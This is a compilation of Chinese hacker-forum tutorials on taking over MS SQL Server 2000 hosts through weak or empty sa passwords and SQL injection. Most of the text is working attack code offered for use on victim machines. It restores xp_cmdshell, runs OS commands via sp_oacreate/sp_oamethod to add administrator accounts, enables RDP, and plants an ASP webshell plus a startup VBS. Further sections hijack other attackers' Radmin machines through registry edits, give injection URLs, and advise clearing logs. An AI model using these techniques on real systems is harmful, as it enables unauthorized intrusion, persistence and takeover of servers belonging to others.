naoga

sa 全面剖析

SQL恢复XP_CMDSHLL 以及XPLOG70.DLL被删 直接用SQL连接器开启3389

用SQL连接器恢复XP_CMDSHLLE的命令

(1)SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

去除

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

修改sa密码 sp_password @old = null, @new = 'complexpwd', @loginame ='sa'

这个很简单,自己堵后门用:)

二,在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的

实例过程:

连接到主机:202.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机

命令:xp_cmdshell "type c:\boot.ini" // 输入命令,看系统,server版的才能 开3389

执行成功,结果:

[boot loader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINNT

[operating systems]

multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect

multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastdetect

命令:xp_cmdshell "echo [Components] > c:\duguxike" //在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的

执行成功,结果:

命令:xp_cmdshell "echo TsEnable = on >> c:\duguxike" //追加写入

执行成功,结果:

命令:xp_cmdshell "type c:\duguxike" //看看duguxike里的内容是否正确

执行成功,结果:

[Components]

TsEnable = on

TsEnable = on

命令:xp_cmdshell "sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\duguxike /q" //开3389,成功的话过会肉机会重启!!

执行成功,结果:

GetLocalManagedApplications returned (2)

之后就看大家的了,不过要记得册除新建的duguxike文件哦!!

三不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--

_content>如果XPCMDSHLL被删了第一条恢复

第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用(本人WIN2000下测试成功)

第三条XPLOG70.DLL被删除的情况下直接添加帐号前提对方了开了3389 139 23

才好用

但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限

哪为高人来指点一下!

当xplog70.dll文件被删除后

起初,笔者也是大叹可惜的,因为如果只是xp_cmdshell被删除还好说,可是如果连xplog70.dll也被删除了,这该如何是好?

狂查资料!

晕啊,怎么到处都没有说的呢?难道没有解决办法吗?

于是,只好自己想办法。可是从那里下手呢?想来想去,还是从sql server本身着手看看。

打开查询分析器。

用你捕获的sa弱口令进入目标机器,当然我们的最终目标是操纵主机而不仅仅是操纵人家的数据库哦 :)

省略思考过程若干。。。。。。(脑细胞累死一大批)

突然,嘎嘎。。。怎么有这么两个存储过程啊sp_oacreate和sp_oamethod,再查查他们的作用和语法,嘿嘿。。。皇天不负苦心人啊。

交待大家怎么用好了,具体的描述,我感觉自己写不出来,没法子,从小讨厌作文。

只要你连接上目标机,并发现这两个存储过程没删除(99%都没删除,看来管理员们都不了解这些存储过程的强大功能啊),那么利用您的查询分析器所有的sa弱口令机器都可以控制咯!

比如我给他添加一个用户!

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user gchn aaa /add'--

呵呵,如果您发现,cmd.exe都被删掉了,试试command命令,如果这也被删掉了,那这个管理员太变态了。

ok,郑重声明,如果您用来搞破坏,那后果自负哦。同时也不是我希望的,我只是希望大家把平时一点心得拿出来交流,那我们的水平会提高很快啊。

最后,欢迎各位大虾批评指正

绕过Xplog70.dll玩

深夜了,好友“如影随行”突然发来消息,说他一台配置非常好的3389肉鸡飞了。以前他是从WEB页面注入入手,然后直接用Xp_cmdshell添加系统用户搞定的,可晚上用3389登陆时突然发现添加的用户不在了,安装的后门都被清理干净,连Xp_cmdshell也执行不了。朋友叫我帮忙看看,这样和管理员的直接攻防较量我还没尝试过,所以也就答应了! 因为是数据库是SA权限连接的,我首先想到的是利用下面的命令: exec master.dbo.sp_addlogin renwoxin 我的目的是添加数据库用户“renwoxin”,然后将将其加入“Sysadmin”组: Exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin 然后就可以用祭出我们的“屠库宝刀”——SQL查询分析器了。开始我还抱着一丝侥幸,希望可以通过: sp_addextendedproc

Xp_cmdshell,@dllname='Xplog70.dll' 添加Xp_cmdshell扩展过程。可惜SQL输出如下:数据库中已存在名为Xp_cmdshell 的对象。为了确认Xp_cmdshell是否被删除我提交如下语句: select count(*) from master.dbo.sysobjects where xtype='X' and name=Xp_cmdshell 返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。我决定用臭要饭的写的GetWebShell来写入ASP木马。工具使用很简单,以往的黑防也有介绍过。我使用后一会儿就提示写入成功了,但等我高高兴兴的去访问这个路径时,却提示“找不到网页”,郁闷! 百思不得其解,拿出NBSI2,利用Tree list工具列出WEB路径下的文件,发现上传的木马“安详”地躺在那儿,可为什么不能访问呢(我现在都还不知道答案,哪位高人知道希望能指点一下),而且错误提示居然是“找不到文件”?!我打算放弃了,可这么好的肉鸡就这么飞了,实在心有不甘!到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用SQL查询分析器写入如下指令: Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate ’scripting.filesystemobject’, @o out ——这两行代码是建立SQL的文本对象 exec sp_oamethod @o, ’createtextfile’, @f out,’c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs’, 1 --在启动菜单里写入a.vbs,当然这里只支持中文 exec @ret = sp_oamethod @f, ’writeline’, NULL,’set wshshell=createobject("wscript.shell")’ ——单引号里的都是a.vbs的内容,要一行一行的写,下同。 exec @ret = sp_oamethod @f, ’writeline’, NULL,’a=wshshell.run ("cmd.exe /c net user user1 123 /add",0)’ exec @ret = sp_oamethod @f, ’writeline’, NULL,’b=wshshell.run ("cmd.exe /c net localgroup administrators user1 /add",0)’ --a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeline方法,突然灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出“SQL Server联机丛书”,其中对Sp_OAMethod描述如下: sp_OAMethod 调用 OLE 对象的方法。语法 sp_OAMethod objecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[...n]] 参数 objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 methodname 是要调用的 OLE 对象的方法名。用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗?于是构造如下语句: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$ test /add','0','true' 小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户renwoxin$,密码为test。“0”和“true”是RUN方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口,如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动程序后立即返回0(不是错误代码)。 上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net localgroup administrators renwoxin$ /add','0','true' 这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然被删除了。再检查一下,用GetWebShell提交的ASP木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束了,希望能尽快看

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:\'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。

sp_OACreate

在 Microsoft® SQL Server? 实例上创建 OLE 对象实例。

语法

sp_OACreate progid, | clsid,

objecttoken OUTPUT

[ , context ]

sp_OAGetProperty

获取 OLE 对象的属性值。

语法

sp_OAGetProperty objecttoken,

propertyname

[, propertyvalue OUTPUT]

[, index...]

sp_OAMethod

调用 OLE 对象的方法。

语法

sp_OAMethod objecttoken,

methodname

[, returnvalue OUTPUT]

[ , [ @parametername = ] parameter [ OUTPUT ]

[...n]]

思路:

先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句

Create TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)

DECLARE @shell INT

DECLARE @fso INT

DECLARE @file INT

DECLARE @isEnd BIT

DECLARE @out VARCHAR(400)

EXEC sp_oacreate 'wscript.shell',@shell output

EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'

--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output

EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'

--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0

BEGIN

EXEC sp_oamethod @file,'Readline',@out out

Insert INTO MYTMP(info) VALUES (@out)

EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out

IF @isEnd=1 BREAK

ELSE CONTINUE

END

Drop TABLE MYTMP

注意:

如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。

突破xplog70.dll终极技巧

不过要知道MSSQLSERVER是与系统联系的非常紧密的,一般大家都知道XP_CMDSHELL这个存储过程可以执行DOS命令,但是还有个存储过程也可以执行DOS命令,知道的人就不多了,下面我就来简单的说一下:

sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,简单的说,基本DOS能执行的命令,用脚本就能执行,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。

好,说了这么多废话,我接下来还是给大家演示一下吧

需要的工具:

SQL查询分析器分离版(我的win2003不能用,555555,大家可以下载下来试试)

http://ww3.tty-1.net:808/newdown/show.php?id=303

或者找一台带SQL的3389肉鸡,这里我就不提供了^_^

上面两个都没条件使用的话可以下载致远SQL分析器,需要MicroSoft .net FrameWork 1.1的支持,如果是2003系统或已经装过的就直接用我压缩包的那个就行了,没有的话就去网络休闲庄下载完整版

http://ww3.tty-1.net:808/newdown/show.php?id=301

这个唯一一点不好的是无法辨认命令执行成功与否,不过一般按照我的步骤应该是没问题的

其他工具参照其他从SA到3389相关文章即可,接下来开工

这里我事先找好了一台sa空密码的肉鸡 218.242.112.241,这台机器我已经试验过了,我再给大家演示一边吧

连接成功

不过

C:\>DIR C:\

Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(?ò2?

看样子没办法照平常方法入侵了

我们先扫一下他的端口看看

呵呵,端口开的挺多

上面4999端口是我的radmin端口

也就是大家平时说的4899

接下来,我们拿出SQL查询分析器来

这里我就演示致远SQL分析器这个了

呵呵,连接成功

看到服务器开了3389,那我们加个NT帐号吧

用下列语句

,成功了,我们加了个hack帐号

为了大家能直观的看到,我用rad检查一下吧

看到了吧,加上去了

那我们把它加入管理员组

好,成了,我们拿3389连接器连接看看

呵呵,上去了吧

OK,破解即开了1433又开了3389的机器就是这么简单

好接下来我给大家演示怎么利用脚本抢别人的4899肉鸡,呵呵

这个4899肉鸡现在你不知道密码是无法登陆的,那我就去注册表修改密码

我把他改成123456

看以下脚本

我在他的系统盘生成一个hack123.reg的注册表文件

接下来就是写入注册表信息

好,写好了

现在我们导入

到如成功

删掉那个注册表文件

OK了,我们再用123456连接4899肉鸡看看

完毕

附加:

加NT帐号

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

修改RAD密码

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo Windows Registry Editor Version 5.00 > hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] >> hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo "Parameter"=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'

突破xplog70.dll终极技巧(续谈)

原作者:不详 来 源:不详 发表日期: 4月14日 共有7位读者阅读过此文

________________________________________

前天做了个关于突破xplog70.dll的动画,昨天黑鹰发布了,呵呵,马上一堆小屁孩加我,要我帮他做肉鸡,晕哦!

这里再公布一下那些脚本吧,这年头还是脚本吃香啊,哈哈

加NT帐号

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

修改RAD密码

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo Windows Registry Editor Version 5.00 > hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters] >> hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo 'Parameter'=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'

declare @cmd INT

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'

rad的密码改成了123456,登上去后再用/pass:XXXXX来改就行了,抢肉鸡的感觉不错哦!

其实用OA的脚本可以突破的不只是这些,对于只开了1433端口的肉鸡也有办法突破,弄个上传不就行了,

呵呵,shell上面传东西的方法还是挺多的!

当SA遇到XP_CMDSHELL时

作者: 一道江河

有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了

怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂

众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令

但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限

才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin

serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可

以知道其中的sysadmin权限是最高的,也是我们想要的。。。

大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁

闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是

让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单

中打开“执行数据库命令” 填入我们要执行的命令:

Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?

接着看,还有办法,我们直接在数据库命令执行窗写入:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from

master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我

们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到

对方的c:\winnt\system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:

Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:\winnt\system32\xplog70.dll'

好了,接下来就是我们常用的命令 net user 和 net localgroup administrators

命令了,还有清楚IIS日记和MSSQL日记就OK了!

上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个

存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系

统命令的语句我们可以自己给他加上哦,代码如下:

declare @o int

exec sp_oacreate 'wscript.shell', @o out

exec sp_oamethod @o, 'run', NULL, 'net start telnet'

接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE

LL到服务器上去哦!!!HOHO~~~~

declare @o int, @f int, @ret int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'creatextifile', @f out, 'c:\inetpub\wwwroot\mad.asp', 1

exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =

server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>

上面的代码就在服务器c:\inetpub\wwwroot\mad.asp上创建了了只有两行的代码我们直接连上去就OK了

大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,

举个例子现在咱们要入侵的网站是这个 www.***.com

第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假

如这个。www.***.com/script.asp?id=48

还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和

数据库的一些相关信息。想看服务器打的补丁情况,我们提交:

www.***.com/script.asp?id=48 and 1=(select @@VERSION)

我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:

www.***.com/script.asp?id=48 and 1=(Select IS_SRVROLEMEMBER('sysadmin'))

如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连

接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:

www.***.com/script.asp?id=48 and 'sa'=(Select System_user

用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦

(如果要获得已登录用户的身份,则使用Transact-SQL 语句:Select SYSTEM_USER)

下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:

www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype =

'X' AND name = 'xp_cmdshell')

如果被删除了,NO PROBLEM 我们给他恢复一下。提交:

www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'

试一下 看看xp_cmdshell是不是恢复过来了 提交:

www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype =

'X' AND name = 'xp_cmdshell')

如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可

以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。

不过还用到两个MSSQL存储过程

xp_regread 扩展存储过程和xp_regread Web 助手存储过程:

xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径

sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件

名你可以自己指定。当然我们这里就指定为ASP脚本文件

CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个

字段中加入木马的内容。然后,把内?/div>

评论